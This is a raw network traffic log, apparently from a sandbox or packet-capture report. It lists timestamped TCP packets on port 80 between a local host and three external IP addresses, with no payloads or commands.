Sep 11, 2024 16:22:17.722420931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722430944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722430944 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722441912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722454071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722455978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722461939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722470045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722477913 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722489119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722491980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722501993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722512960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722517967 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722523928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722541094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722543001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722556114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722562075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722568989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722582102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722594976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722604990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722613096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722613096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722619057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722630024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722631931 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722641945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722654104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722656965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722668886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722676992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722681046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722692013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722692966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722706079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722714901 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722718000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722729921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722742081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722748995 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722752094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722752094 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722764969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722780943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722793102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722795010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722795010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722795010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722804070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722815990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722826004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722826958 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722841978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722852945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722852945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722865105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722867966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722877026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722888947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722896099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722898960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722919941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722923040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722930908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722939014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722942114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722954035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722965002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722965956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722975969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722985983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722990036 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722996950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723007917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723007917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723020077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723022938 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723037958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723048925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723059893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723067999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723073006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723083973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723092079 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723094940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723107100 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723108053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723119020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723130941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723143101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723144054 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723155022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723160028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723166943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723174095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723177910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723189116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723189116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723200083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723211050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723217010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723222971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723233938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723247051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723247051 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723263979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723289967 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723324060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723336935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723346949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723356962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723365068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723368883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723381042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723391056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723400116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723411083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723422050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723424911 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723424911 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723434925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723444939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723454952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723464966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723474026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723479033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723491907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723493099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723504066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723519087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723522902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723536968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723541975 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723546982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723548889 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723561049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723575115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723577023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723591089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723619938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723654985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723665953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723676920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723690033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723692894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723702908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723712921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723736048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723778963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723789930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723814964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723838091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723881960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723893881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723921061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723932028 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723936081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723951101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723964930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723973989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.723978043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723989964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.723992109 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724013090 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724020958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724311113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724323988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724335909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724349976 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724363089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724381924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724385977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724394083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724406004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724416971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724431992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724452019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724807024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724822998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724836111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724847078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724847078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724855900 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724860907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724873066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724875927 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724886894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724890947 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724915981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724939108 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724950075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724961996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724972963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724984884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724989891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.724997044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.724997044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.725011110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725017071 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.725023031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725034952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725039959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.725066900 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.725635052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725646973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725657940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.725686073 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.725697041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.726089954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.726102114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.726114035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.726125002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.726139069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.726144075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.726164103 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.726174116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729830980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729846001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729887009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729891062 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729898930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729908943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729921103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729923010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729923010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729933023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.729935884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729952097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.729978085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731623888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731638908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731650114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731661081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731672049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731678009 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731694937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731707096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731717110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731717110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731729031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731739998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731741905 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731751919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731760979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731761932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731775045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731785059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.731798887 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.731831074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.742852926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.742870092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.742882967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.742938042 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.742981911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.742993116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.743005037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.743010998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.743010998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.743016958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.743060112 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.743060112 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744828939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744839907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744849920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744859934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744870901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744882107 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744891882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744908094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744908094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744924068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744939089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744951963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744956970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744956970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744961023 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744971991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744991064 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.744995117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.744995117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745002031 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745012999 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745023966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745037079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745037079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745060921 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745111942 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745122910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745134115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745167971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745167971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745178938 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745191097 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745219946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745256901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745266914 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745276928 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.745297909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.745322943 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.753689051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753703117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753712893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753737926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753746986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753757954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753768921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753771067 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.753779888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753813028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.753824949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.753845930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753885984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.753961086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753972054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753981113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.753993034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754002094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754004002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754029989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754043102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754367113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754376888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754385948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754396915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754406929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754419088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754451036 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754479885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754489899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754498959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754508972 CEST	80	49736	176.113.115.33	192.168.2.4
